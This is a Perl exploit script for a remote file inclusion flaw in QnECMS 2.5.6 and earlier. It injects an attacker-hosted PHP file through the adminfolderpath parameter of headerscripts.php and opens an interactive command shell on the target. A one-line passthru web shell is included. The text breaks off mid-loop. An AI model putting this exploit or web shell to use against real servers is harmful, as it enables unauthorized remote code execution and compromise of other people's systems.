QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit

[code]
#!/usr/bin/perl
##
# QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit
# Bug Found & code By K-159
##
# echo.or.id (c) 2006
#
##
# usage:
# perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>
#
# perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
#
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
     print "[shell] \$";
while(<STDIN>)
     {
          $cmd=$_;
          chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.&#39;admin/include/headerscripts.php?adminfolderpath=&#39;.$Pathtocmd.&#39;?&&#39;.$cmdv.&#39;=&#39;.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[